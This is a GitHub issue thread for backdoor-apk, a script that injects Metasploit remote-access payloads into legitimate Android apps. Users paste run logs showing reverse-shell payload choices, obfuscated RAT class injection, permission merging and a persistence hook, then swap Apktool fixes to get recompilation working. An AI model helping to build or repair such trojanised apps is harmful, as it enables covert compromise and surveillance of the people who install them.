dana-at-cp / backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.17k stars 699 forks source link

[!] Failed to recompile original project with backdoor #159

Closed moonwolf63x closed 5 years ago

moonwolf63x commented 5 years ago
      ________
     / ______ \
     || _  _ ||
     ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
     |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
     || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
     ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
     |||_||_|||         AAA  AAA  PPP       KKK  KKK
     ||______||         AAA  AAA  PPP       KKK  KKK
    /__________\

____|__|__ /____\ |____| Dana James Traversie

[] Running backdoor-apk.sh v0.2.4a on Sun Oct 14 15:10:35 IST 2018 [+] Android payload options: 1) meterpreter/reverse_http 4) shell/reverse_http 2) meterpreter/reverse_https 5) shell/reverse_https 3) meterpreter/reverse_tcp 6) shell/reverse_tcp [?] Please select an Android payload option: 1 [?] Please enter an LHOST value: 127.0.0.1 [?] Please enter an LPORT value: 2222 [+] Android manifest permission options: 1) Keep original 2) Merge with payload and shuffle [?] Please select an Android manifest permission option: 1 [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc [] Decompiling original APK file...done. [] Locating smali file to hook in original project...done. [+] Package where RAT smali files will be injected: com/dotgears/flapfire [+] Smali file to hook RAT payload: com/dotgears/GameApplication.smali [] Generating RAT APK file...done. [] Decompiling RAT APK file...done. [+] Keeping permissions of original project [] Injecting helpful Java classes in RAT APK file...done. [] Creating new directory in original package for RAT smali files...done. [+] Inject package path: com/dotgears/flapfire/jcxww [+] Generated new smali class name for MainBroadcastReceiver.smali: Ruuae [+] Generated new smali class name for MainService.smali: Jkfvo [+] Generated new smali class name for Payload.smali: Qadee [+] Generated new smali class name for StringObfuscator.smali: Ljjis [+] Generated new smali method name for StringObfuscator.obfuscate method: tsewz [+] Generated new smali method name for StringObfuscator.unobfuscate method: ohcbm [] Copying RAT smali files to new directories in original project...done. [] Fixing RAT smali files...done. [] Obfuscating const-string values in RAT smali files...done. [] Adding hook in original smali file...done. [+] Unable to add persistence hook due to missing permission [] Recompiling original project with backdoor...done. [!] Failed to recompile original project with backdoor

How to solve...

italiangrubber commented 5 years ago

Same problem here! I've kali linux on x64

dana-at-cp commented 5 years ago

@moonwolf63x @italiangrubber All recompilation issues involve Apktool. Have you tried to decompile/recompile the APKs in question using Apktool on it's own? That's the best place to start when you first face a recompilation issue. If Apktool can't decompile/recompile the APK then that is the root cause.

WiredLife commented 5 years ago
  1. replace the kali apktool with this https://ibotpeaches.github.io/Apktool/install/
  2. run apktool empty-framework-dir ./cleanup.sh
  3. run ./backdoor-apk.sh host.apk
  4. must work ;)
dsx12 commented 5 years ago

@WiredLife I replaced the apktool with latest version (2.3.4-1) and still doesn't work :/... Any fix?

dsx12 commented 5 years ago

Is there a alternative tool other than apktool to rebuild decompiled apks that successfully works?

Arifulislambisal commented 5 years ago
      ________
     / ______ \
     || _  _ ||
     ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
     |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
     || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
     ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
     |||_||_|||         AAA  AAA  PPP       KKK  KKK
     ||______||         AAA  AAA  PPP       KKK  KKK
    /__________\

____|__|__ /____\ |____| Dana James Traversie

[] Running backdoor-apk.sh v0.2.4a on Sun Feb 10 05:29:56 PST 2019 [+] Android payload options: 1) meterpreter/reverse_http 4) shell/reverse_http 2) meterpreter/reverse_https 5) shell/reverse_https 3) meterpreter/reverse_tcp 6) shell/reverse_tcp [?] Please select an Android payload option: 3 [?] Please enter an LHOST value: 192.168.0.127 [?] Please enter an LPORT value: 4444 [+] Android manifest permission options: 1) Keep original 2) Merge with payload and shuffle [?] Please select an Android manifest permission option: 2 [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc [] Decompiling original APK file...done. [] Locating smali file to hook in original project...done. [+] Package where RAT smali files will be injected: com/rarlab/rar [+] Smali file to hook RAT payload: com/rarlab/rar/App.smali [] Generating RAT APK file...done. [] Decompiling RAT APK file...done. [] Merging permissions of original and payload projects...done. [] Injecting helpful Java classes in RAT APK file...done. [] Creating new directory in original package for RAT smali files...done. [+] Inject package path: com/rarlab/rar/ckxvv [+] Generated new smali class name for MainBroadcastReceiver.smali: Admtk [+] Generated new smali class name for MainService.smali: Pscnh [+] Generated new smali class name for Payload.smali: Kferu [+] Generated new smali class name for StringObfuscator.smali: Jmxcv [+] Generated new smali method name for StringObfuscator.obfuscate method: txkdg [+] Generated new smali method name for StringObfuscator.unobfuscate method: oowor [] Copying RAT smali files to new directories in original project...done. [] Fixing RAT smali files...done. [] Obfuscating const-string values in RAT smali files...done. [] Adding hook in original smali file...done. [] Adding persistence hook in original project...done. [] Recompiling original project with backdoor...done. [!] Failed to recompile original project with backdoor . . Any solution?

FirstClickin commented 5 years ago

🛑🛑🛑 Here is The FIX 2019.. https://youtu.be/QfyYWioLEk4 Full Video by FirstClickin. Solved now file is Recompiling without Error

dana-at-cp commented 5 years ago

@WiredLife is on the right track. Check out #168